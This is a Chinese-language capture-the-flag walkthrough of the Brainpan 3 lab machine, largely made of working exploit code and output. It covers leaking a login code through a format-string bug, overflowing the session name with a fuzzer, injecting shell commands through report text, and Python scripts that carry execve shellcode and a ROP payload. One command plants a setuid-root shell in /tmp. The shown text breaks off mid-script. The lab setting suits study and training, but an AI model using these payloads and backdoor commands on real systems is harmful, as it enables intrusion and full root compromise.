r.sendline('whoami')
r.sendline('cd /root')
r.sendline('gzip -d brainpan.8.gz')
r.sendline('cat brainpan.8')
for _ in xrange(10):
r.sendline('')
log.info("Bingo!")
log.info(r.recv())
r.interactive()

直接获得root权限和flag,灰常的牛批。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
root@kali:~/vulnhub/brainpan3/2# python bp3.py 
[+] Opening connection to 192.168.56.117 on port 1337: Done
[*] Code identified: 8455
[*] Report 'N' at offset 65
[+] uname -a - Linux brainpan3 3.16.0-41-generic #55~14.04.1-Ubuntu SMP Sun Jun 14 18:44:35 UTC 2015 i686 i686 i686 GNU/Linux
[+] whoami - anansi
[+] id - uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
[*] ./cryptor $(python -c 'print "A" * 4 + "\x80\xa0\x04\x08" + "C" * 108') $(python -c 'print "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80"')
[*] Shell recevied: reynard
[+] Shell received: Authentication successful
[+] Insert ROP pun here...
[*] '/root/vulnhub/brainpan3/2/msg_admin'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Loaded 10 cached gadgets for 'msg_admin'
[*] Create our root command file at /tmp/foo
[*] echo "cp /bin/sh /tmp/pwned; chown root /tmp/pwned; chmod 4777 /tmp/pwned" > /tmp/foo
[*] chmod +x /tmp/foo
[*] Create our malicious msg file
[*] python -c "print '\x73\x73\x73\x73\x7c\x90\x87\x04\x08\x9d\x85\x04\x08\x48\xad\xdd\x06\xeb\x8f\x04\x08\x9d\x85\x04\x08\x91\x82\xdd\x06\xeb\x8f\x04\x08\x9d\x85\x04\x08\xfb\x8a\xdd\x06\xeb\x8f\x04\x08\x9d\x85\x04\x08\x2f\x85\xdd\x06\xeb\x8f\x04\x08\x9d\x85\x04\x08\xb5\x8c\xdd\x06\xeb\x8f\x04\x08\x86\x87\x04\x08\xef\x8e\x04\x08\x61\x61\x61\x61\x62\x61\x61\x61\x63\x61\x61\x61\x64\x61\x61\x61\x65\x61\x61\x61\x66\x61\x61\x61\x67\x61\x61\x61\x68\x61\x61\x61\x69\x61\x61\x61\x6a\x61\x61\x61\x6b\x61\x61\x61\x6c\x61\x61\x61\x6d\x61\x61\x61\x6e\x61\x61\x61\x6f\x61\x61\x61\x70\x61\x61\x61\x71\x61\x61\x61\x72\x61\x61\x61\x73\x61\x61\x61\x74\x61\x61\x61\x75\x61\x61\x61\x76\x61\x61\x61\x77\x61\x61\x61\x78\x61\x61\x61\x79\x61\x61\x61\x7a\x61\x61\x62\x62\x61\x61\x62\x63\x61\x61\x62\x64\x61\x61\x62\x65\x61\x61\x62\x66\x61\x61\x62\x67\x61\x61\x62\x68\x61\x61\x62\x69\x61\x61\x62\x6a\x61\x61\x62\x5c\xb0\x04\x08\x0a\xdc\x8d\x04\x08\x7c\x90\x87\x04\x08\x9d\x85\x04\x08\x48\xad\xdd\x06\xeb\x8f\x04\x08\x9d\x85\x04\x08\x91\x82\xdd\x06\xeb\x8f\x04\x08\x9d\x85\x04\x08\xfb\x8a\xdd\x06\xeb\x8f\x04\x08\x9d\x85\x04\x08\x2f\x85\xdd\x06\xeb\x8f\x04\x08\x9d\x85\x04\x08\xb5\x8c\xdd\x06\xeb\x8f\x04\x08\x86\x87\x04\x08\xef\x8e\x04\x08\x0a'" >> /opt/.messenger/pwn.msg
[*] Wait for your r00t shellz
[*] Bingo!
[*] uid=1001(puck) gid=1004(dev) euid=0(root) groups=0
[*] Switching to interactive mode
(root)
$
root
gzip: brainpan.8.gz: No such file or directory
.TH man 8 "20 May 2015" "3.0" "brainpan 3"

.SH DESCRIPTION
Congratulations, you win! Thanks for playing!

.SH FLAG
.B
flag{tricksy-hobbitses-use-unix}

.SH BUGS
You found them all.

.SH AUTHOR
superkojiman -
.B
http://blog.techorganic.com

.SH TESTERS
Special thanks go to barrebas and Swappage taking the time to test Brainpan 3!
.br
barrebas -
.B
https://twitter.com/barrebas
.br
Swappage -
.B
https://twitter.com/Swappage
$ id
uid=1001(puck) gid=1004(dev) euid=0(root) groups=0(root)
$ whoami
root

方法二

虚拟机完全启动后,使用nmap进行端口扫描。这显示了1个开放端口1337和一个封闭(防火墙)端口8080,一旦连接到端口1337,将看到Brainpan Console的登录屏幕。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@kali:~# nc 192.168.56.117 1337


__ ) _ \ \ _ _| \ | _ \ \ \ | _ _| _ _| _ _|
__ \ | | _ \ | \ | | | _ \ \ | | | |
| | __ < ___ \ | |\ | ___/ ___ \ |\ | | | |
____/ _| \_\ _/ _\ ___| _| \_| _| _/ _\ _| \_| ___| ___| ___|

by superkojiman




AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS

ACCESS CODE:

根据屏幕上的文字,必须处理一个4位数的代码,并且在3次失败的尝试之后,都会创建一个新的代码,因此很难对其进行暴力破解。想到的第一件事是它可能是格式字符串漏洞,并且经过快速测试表明确实如此。

1
2
3
4
5
6
7
8
9
10
ACCESS CODE: %p%p%p
ERROR #1: INVALID ACCESS CODE: 0xbff1279c(nil)0x751

ACCESS CODE MUST BE 4 DIGITS

FAILED LOGIN ATTEMPTS: 1

AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS

当使用格式字符串模式作为小数时,可以在位置3的输出中发现登录代码1873

1
2
3
4
5
6
7
8
9
10
ACCESS CODE: %d-%d-%d-%d-%d-%d-%d
ERROR #1: INVALID ACCESS CODE: -1074714724-0-1873--1074714724-0-10--367016960

ACCESS CODE MUST BE 4 DIGITS

FAILED LOGIN ATTEMPTS: 2

AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS

可以将格式字符串模式缩短为%3$d,以直接获取当前的登录代码

1
2
3
4
5
6
7
8
9
10
11
12
13
ACCESS CODE: %3$d
ERROR #1: INVALID ACCESS CODE: 1873

ACCESS CODE MUST BE 4 DIGITS

FAILED LOGIN ATTEMPTS: 3

BRUTE-FORCE ATTEMPT DETECTED
PLEASE USE THE NEW CODE DISPLAYED ON YOUR ACCESS TOKEN

AUTHORIZED PERSONNEL ONLY
PLEASE ENTER THE 4-DIGIT CODE SHOWN ON YOUR ACCESS TOKEN
A NEW CODE WILL BE GENERATED AFTER THREE INCORRECT ATTEMPTS

使用代码登录到Brainpan控制台,显示一个菜单,展示一些选项,并设置了权限,例如AUTH,REPORT和MENU

1
2
3
4
5
6
7
8
9
10
11
12
13
--------------------------------------------------------------
SESSION: ID-4057
AUTH [Y] REPORT [N] MENU [Y]
--------------------------------------------------------------


1 - CREATE REPORT
2 - VIEW CODE REPOSITORY
3 - UPDATE SESSION NAME
4 - SHELL
5 - LOG OFF

ENTER COMMAND:

最有趣的选项是1,2和3.。4显然是一个巨魔。
控制台使用选项1告诉我们该构建已禁用报告功能
选项2告诉我们该存储库现已可用
选项3允许我们更改会话名称。
看来此选项具有格式字符串和缓冲区溢出漏洞。
存储库选项使我想起8080处于关闭状态的端口,快速重新扫描显示该端口现已打开,当我们浏览至该端口时,我们会看到一个简单的网页。
我启动了一个目录bruteforce,它显示了名为“repo”的文件夹,其中包含5个文件。

输入2,然后再扫描8080端口,显示已经开启

1
2
3
4
ENTER COMMAND: 2
SELECTED: 2

CODE REPOSITORY IS NOW AVAILABLE
1
2
3
4
C:\Users\HASEE>nmap -p 8080 -v -sV 192.168.56.117 -r
PORT STATE SERVICE VERSION
8080/tcp open caldav Radicale calendar and contacts server (Python BaseHTTPServer)
MAC Address: 08:00:27:90:21:26 (Oracle VirtualBox virtual NIC)

名为report的文件引起了我的注意,因为在Brainpan控制台中也有此report选项。我下载了文件并开始对其进行分析。

分析report

提供所需的参数(报告数据和1或0)时,会得到一个很大的查理·布朗横幅,我不认识这个人,但我敢打赌,他是个好人。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali:~/vulnhub/brainpan3# ./report aa 0
____
.-'& '-.
/ __ __ \
:-(__)--(__)--;
( (_ )
: ;
\ __ /
`-._____.-'
/`"""`\
/ , \
/|/\/\/\ _\
(_|/\/\/\\__)
|_______|
__)_ |_ (__
(_____|_____)

YOU'RE IN THE MATRIX
CHARLIE BROWN

是时候对可执行文件使用ida进行逆向工程以查看发生了什么。

  • main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int v4; // ST14_4
char dest; // [esp+18h] [ebp-68h]
unsigned int v6; // [esp+7Ch] [ebp-4h]

v6 = __readgsdword(0x14u);
if ( argc > 2 )
{
cb();
strcpy(&dest, argv[1]);
v4 = atoi(argv[2]);
P = (int)REPORT;
N = (void *)(-sysconf(30) & (unsigned int)REPORT);
mprotect(N, 0x1F4u, 7);
if ( v4 )
{
sanitize(&dest);
encrypt(&dest);
record_data(&dest);
}
else
{
record_data(&dest);
record_id(&dest);
}
printf("[+] RECORDED [%s]\n", &dest);
result = 0;
}
else
{
printf("%s <report> [0|1]\n", *argv);
result = 0;
}
return result;
}
  • sanitize
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl sanitize(char *s)
{
size_t i; // [esp+18h] [ebp-10h]
int v3; // [esp+1Ch] [ebp-Ch]

v3 = 0;
for ( i = 0; i < strlen(s); ++i )
{
if ( !isalpha(s[i]) )
{
s[i] = 63;
++v3;
}
}
return v3;
}
  • encrypt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
size_t __cdecl encrypt(char *s)
{
unsigned int v1; // eax
size_t result; // eax
unsigned int i; // [esp+18h] [ebp-10h]
int v4; // [esp+1Ch] [ebp-Ch]

v1 = time(0);
srand(v1);
v4 = rand() % 9000 + 1000;
for ( i = 0; ; ++i )
{
result = strlen(s);
if ( i >= result )
break;
s[i] ^= v4;
}
return result;
}
  • record_data
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __cdecl record_data(const char *a1)
{
char *v1; // eax
time_t timer; // [esp+2Ch] [ebp-5Ch]
FILE *stream; // [esp+30h] [ebp-58h]
struct tm *tp; // [esp+34h] [ebp-54h]
char s; // [esp+3Ah] [ebp-4Eh]
char dest[4]; // [esp+54h] [ebp-34h]
int v8; // [esp+58h] [ebp-30h]
int v9; // [esp+5Ch] [ebp-2Ch]
int v10; // [esp+60h] [ebp-28h]
int v11; // [esp+64h] [ebp-24h]
__int16 v12; // [esp+68h] [ebp-20h]
unsigned int v13; // [esp+7Ch] [ebp-Ch]

v13 = __readgsdword(0x14u);
stream = 0;
time(&timer);
tp = localtime(&timer);
strftime(&s, 0x1Au, "%Y%m%d%H%M%S", tp);
memset(dest, 0, 0x28u);
*(_DWORD *)dest = 1836017711;
v8 = 1851862885;
v9 = 1769172577;
v10 = 1346720303;
v11 = 1398035023;
v12 = 47;
strcat(dest, &s);
v1 = &dest[strlen(dest)];
*(_DWORD *)v1 = 1885696558;
v1[4] = 0;
printf("[+] WRITING REPORT TO %s\n", dest);
stream = fopen(dest, "w");
fputs(a1, stream);
fclose(stream);
strncpy(REPORT, a1, 0x64u);
return feedback();
}
  • record_id
1
2
3
4
5
6
7
8
9
10
int __cdecl record_id(char *src)
{
char dest; // [esp+19h] [ebp-Fh]
int (*v3)(); // [esp+1Ch] [ebp-Ch]

v3 = feedback;
strcpy(&dest, src);
v3();
return atoi(&dest);
}
  • feedback
1
2
3
4
5
int feedback()
{
puts("[+] DATA SUCCESSFULLY ENCRYPTED");
return puts("[+] DATA SUCCESSFULLY RECORDED");
}

因此,代码首先检查本地主机名是否为brainpain3,并假设本地主机名是brainpain3,它将report数据复制到&dest,并使用mprotect使REPORT数据可执行。之后,它检查第二个参数。

  • 1:将使用sanitize函数过滤&dest中的数据,然后对其进行加密,最后使用record_data函数进行存储,该函数将数据存储到文件中,并将前100个字节复制到REPORT中。
  • 2:数据将直接存储而无需任何过滤或加密,并且将调用附加函数record_id,现在这是一个有趣的函数。

当查看record_id函数时,可以看到它为pfeedback分配了一个函数指针,然后将&dest的内容复制到dest中,由于dest最多只能容纳3个字节,因此我们可以溢出它并控制pfeedback指针,该指针将在之后执行strcpy导致代码执行。

在kali中使用gdb调试如下所示

因此,总结一下:因为前100个字节存储在可执行位置(REPORT),并且可以控制函数指针(pfeedback),所以可以在REPORT中存储一些shellcode,然后使pfeedback指针指向我的shellcode。可以在IDA中查找REPORT的地址:

1
2
3
4
5
6
.bss:0804B0A0                 public REPORT
.bss:0804B0A0 ; char REPORT[500]
.bss:0804B0A0 REPORT db 1F4h dup(?) ; DATA XREF: record_data+131↑o
.bss:0804B0A0 ; main+7D↑o
.bss:0804B0A0 _bss ends
.bss:0804B0A0

漏洞利用缓冲区可能类似于:

1
AAA<REPORT_address+7><shellcode>

请注意,必须在REPORT地址上添加7,以越过3个A和4个字节的函数指针。

  • python版POC代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import struct
import sys

shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
__REPORT = 0x0804B0A0

def p(v):
return struct.pack('<L', v)

payload = 'AAA'
payload += p(__REPORT + 7)
payload += shellcode

print payload + ' 0'

执行poc会按预期生成一个shell

1
2
3
4
5
6
7
root@kali:~/vulnhub/brainpan3#./report $(./poc.py)
[+] WRITING REPORT TO /home/anansi/REPORTS/20150912020038.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
$ id
uid=1000(root) gid=1001(root) groups=1001(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),105(scanner),108(bluetooth),112(netdev),125(powerdev)
$

brainpan console - report功能

现在,如果还记得,由于禁用了report功能,目前无法在brainpan控制台中创建report,因此必须启用它,现在这就是“update session name”选项(3)中缓冲区溢出起作用的地方。通过溢出session name缓冲区,可以控制以下值:

1
AUTH   [Y]    REPORT [N]    MENU   [Y]

通过将REPORT [N]设置为Y,将启用REPORT功能。一个模糊测试脚本可以帮助找到正确的长度,直到覆盖N

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from select import select
from socket import *
from time import sleep
import telnetlib
import sys
import struct
import re

class NetcatClient:
def __init__(self, host, port):
"""
Netcat Class init.
"""
self.host = host
self.port = int(port)
self.delay = 0.05
self.linemode = False
self.sock = socket(AF_INET, SOCK_STREAM)

# private functions
def __check_state(self, timeout=0):
"""
Check the socket it's read, write and exception state
using select
"""
# we need abit of a delay to keep things
# running smooth
sleep(self.delay)
return select([self.sock], [self.sock], [self.sock], timeout)

# core functions
def connect(self):
"""
Connect to host
"""
try:
self.sock.connect((self.host, self.port))
return True
except error as e:
print 'NetcatClassError:', e
return False

def close(self):
"""
Close the connection
"""
try:
self.sock.close()
except error as e:
print 'NetcatClassError:', e

def recv(self, size=4096):
"""
Recieve all data
"""
try:
data = ''
readable, writable, exceptional = self.__check_state()
if readable:
# while socket readable...
while readable:
# collect all data
data += self.sock.recv(size)
# re-check socket's state
readable, writable, exceptional = self.__check_state()
return data
except error as e:
print 'NetcatClassError:', e

def send(self, data):
"""
Send data
"""
if self.linemode:
data += '\n'
try:
readable, writable, exceptional = self.__check_state()
if writable:
self.sock.send(data)
except error as e:
print 'NetcatClassError:', e

def sendrecv(self, data):
"""
Send and recieve data
"""
self.send( data )
return self.recv()

def interact(self):
"""
Interactive telnet client
"""
try:
t = telnetlib.Telnet()
t.sock = self.sock
t.interact()
t.close()
except KeyboardInterrupt:
self.close()

if __name__ == '__main__':
# fuzzing code
s = NetcatClient('192.168.56.117', '1337')
s.linemode = True
s.connect()
# banner
s.recv()
# send format string pattern and grab the login code
r = s.sendrecv('%3$d')
# parse the login code from the reponse
l = re.findall(r"INVALID ACCESS CODE: (.*?)\n", r)
print 'login code -> ', l
# send login code and log in
s.sendrecv('%s'%(l[0]))

# send change sessionname commands
# with length of 0 ... 255
for i in range(256):
s.sendrecv('3')
resp = s.sendrecv(i * 'Y')
l = re.findall(r"REPORT \[(.*?)\]", resp)
print i,'->',l
# if value changed to Y break
if 'Y' in l[0]:
print 'payload -> %d * Y' % (i)
break

s.close()

运行模糊测试器会导致:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
root@kali:~/vulnhub/brainpan3# python test.py 
login code -> ['2433']
0 -> ['N']
1 -> ['N']
2 -> ['N']
3 -> ['N']
4 -> ['N']
5 -> ['N']
6 -> ['N']
7 -> ['N']
8 -> ['N']
9 -> ['N']
10 -> ['N']
11 -> ['N']
12 -> ['N']
13 -> ['N']
14 -> ['N']
15 -> ['N']
16 -> ['N']
17 -> ['N']
18 -> ['N']
19 -> ['N']
20 -> ['N']
21 -> ['N']
22 -> ['N']
23 -> ['N']
24 -> ['N']
25 -> ['N']
26 -> ['N']
27 -> ['N']
28 -> ['N']
29 -> ['N']
30 -> ['N']
31 -> ['N']
32 -> ['N']
...
244 -> ['N']
245 -> ['N']
246 -> ['N']
247 -> ['N']
248 -> ['N']
249 -> ['N']
250 -> ['N']
251 -> ['\x00']
252 -> ['\x00']
253 -> ['Y']
payload -> 253 * Y

因此,通过将session名称设置为253个Y字符,将REPORT功能状态从N更改为Y,从而有效地启用了report功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ENTER COMMAND: 3
SELECTED: 3
ENTER NEW SESSION NAME: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
--------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
AUTH [Y] REPORT [Y] MENU [Y]
--------------------------------------------------------------


1 - CREATE REPORT
2 - VIEW CODE REPOSITORY
3 - UPDATE SESSION NAME
4 - SHELL
5 - LOG OFF

在测试该选项时,现在可以看到其确实启用了……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

fuckfuckfuckfuckfuck

REPORT [fuckfuckfuckfuckfuck@]
SENDING TO REPORT MODULE

[+] WRITING REPORT TO /home/anansi/REPORTS/20200205215605.rep
[+] DATA SUCCESSFULLY ENCRYPTED
[+] DATA SUCCESSFULLY RECORDED
[+] RECORDED [II]

--------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
AUTH [Y] REPORT [Y] MENU [Y]
--------------------------------------------------------------


1 - CREATE REPORT
2 - VIEW CODE REPOSITORY
3 - UPDATE SESSION NAME
4 - SHELL
5 - LOG OFF

因此,现在可以在Brainpan控制台中创建报告,并在报告可执行文件中触发易受攻击的代码,不是吗?似乎Brainpan控制台使用1选项执行了报告可执行文件,并且为了触发record_id中的易受攻击的代码,需要使用0选项来执行它。在这里有些卡住,要在报告缓冲区中打更多的主意。在报表数据中插入双引号时,会出现一个有趣的错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

aaa"

REPORT [aaa"fuckfuckfuckfuck@]
SENDING TO REPORT MODULE

sh: 1: Syntax error: Unterminated quoted string

--------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
AUTH [Y] REPORT [Y] MENU [Y]
--------------------------------------------------------------


1 - CREATE REPORT
2 - VIEW CODE REPOSITORY
3 - UPDATE SESSION NAME
4 - SHELL
5 - LOG OFF

似乎双引号引起了执行报告命令行时的错误,更准确地说,是未引用的字符串的一部分,但更有趣的是,似乎可以使用报告数据进行命令注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

";id;"

REPORT [";id;"ckfuckfuckfuck@]
SENDING TO REPORT MODULE

/var/www/repo/report <report> [0|1]
uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
sh: 1: ckfuckfuckfuck@: not found

--------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
AUTH [Y] REPORT [Y] MENU [Y]
--------------------------------------------------------------


1 - CREATE REPORT
2 - VIEW CODE REPOSITORY
3 - UPDATE SESSION NAME
4 - SHELL
5 - LOG OFF

ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

";ls;"

REPORT [";ls;"ckfuckfuckfuck@]
SENDING TO REPORT MODULE

/var/www/repo/report <report> [0|1]
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
sh: 1: ckfuckfuckfuck@: not found

--------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
AUTH [Y] REPORT [Y] MENU [Y]
--------------------------------------------------------------


1 - CREATE REPORT
2 - VIEW CODE REPOSITORY
3 - UPDATE SESSION NAME
4 - SHELL
5 - LOG OFF

还可以在命令行中插入0来触发record_id中的易受攻击的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ENTER COMMAND: 1
SELECTED: 1

ENTER REPORT, END WITH NEW LINE:

aasdcasdc" 0 #

REPORT [aasdcasdc" 0 #ckfuck@]
SENDING TO REPORT MODULE

Segmentation fault (core dumped)

--------------------------------------------------------------
SESSION: YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
AUTH [Y] REPORT [Y] MENU [Y]
--------------------------------------------------------------


1 - CREATE REPORT
2 - VIEW CODE REPOSITORY
3 - UPDATE SESSION NAME
4 - SHELL
5 - LOG OFF

编写python脚本来利用

– 获取登录代码并登录
– 启用report功能
– 发送包含0选项的payload report
– 获取shell

以下代码自动完成了整个过程:

report.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
from select import select
from socket import *
from time import sleep
import telnetlib, sys, re, struct


class NetcatClass:
def __init__(self, host, port):
"""
Netcat Class init.
"""
self.host = host
self.port = int(port)
self.delay = 0.05
self.linemode = False
self.sock = socket(AF_INET, SOCK_STREAM)

# private functions
def __check_state(self, timeout=0):
"""
Check the socket it's read, write and exception state
using select
"""
# we need abit of a delay to keep things
# running smooth
sleep(self.delay)
return select([self.sock], [self.sock], [self.sock], timeout)

# core functions
def connect(self):
"""
Connect to host
"""
try:
self.sock.connect((self.host, self.port))
return True
except error as e:
print 'NetcatClassError:', e
return False

def close(self):
"""
Close the connection
"""
try:
self.sock.close()
except error as e:
print 'NetcatClassError:', e

def recv(self, size=4096):
"""
Recieve all data
"""
try:
data = ''
readable, writable, exceptional = self.__check_state()
if readable:
# while socket readable...
while readable:
# collect all data
data += self.sock.recv(size)
# re-check socket's state
readable, writable, exceptional = self.__check_state()
return data
except error as e:
print 'NetcatClassError:', e

def send(self, data):
"""
Send data
"""
try:
readable, writable, exceptional = self.__check_state()
if writable:
if self.linemode:
data += '\n'
self.sock.sendall(data)
except error as e:
print 'NetcatClassError:', e

def sendrecv(self, data):
"""
Send and recieve data
"""
self.send(data)
return self.recv()

def interact(self):
"""
Interactive telnet client
"""
try:
t = telnetlib.Telnet()
t.sock = self.sock
t.interact()
t.close()
except KeyboardInterrupt:
self.close()


def p(v):
return struct.pack('<L', v)

def exploit(host, port):
# connect
s = NetcatClass(host, port)
# make all sends being treathed as line's eq. add a \n
s.linemode = True
s.connect()
# recieve banner
s.recv()
# send formatstring pattern and read response containing access code
print '[+] Leak access code'
acccode = re.findall(r"INVALID ACCESS CODE: (.*?)\n", s.sendrecv('%3$d'))
if not acccode:
print '[!] Failed to get access code!'
s.close()
exit()
print '[+] Access code leaked: {}'.format(acccode[0])
# send access code
s.sendrecv(acccode[0])
# enable report feature
print '[+] Enabling report feature'
s.sendrecv('3')
s.sendrecv(253 * 'Y')
# create payload
# linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes
# http://shell-storm.org/shellcode/files/shellcode-752.php
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
# .bss:0804B0A0 ; char REPORT[500]
# strncpy(REPORT, buf, 100u);
__bss_REPORT = 0x0804B0A0
# construct payload report
payload = "AAA"
payload += p(__bss_REPORT + 7)
payload += shellcode
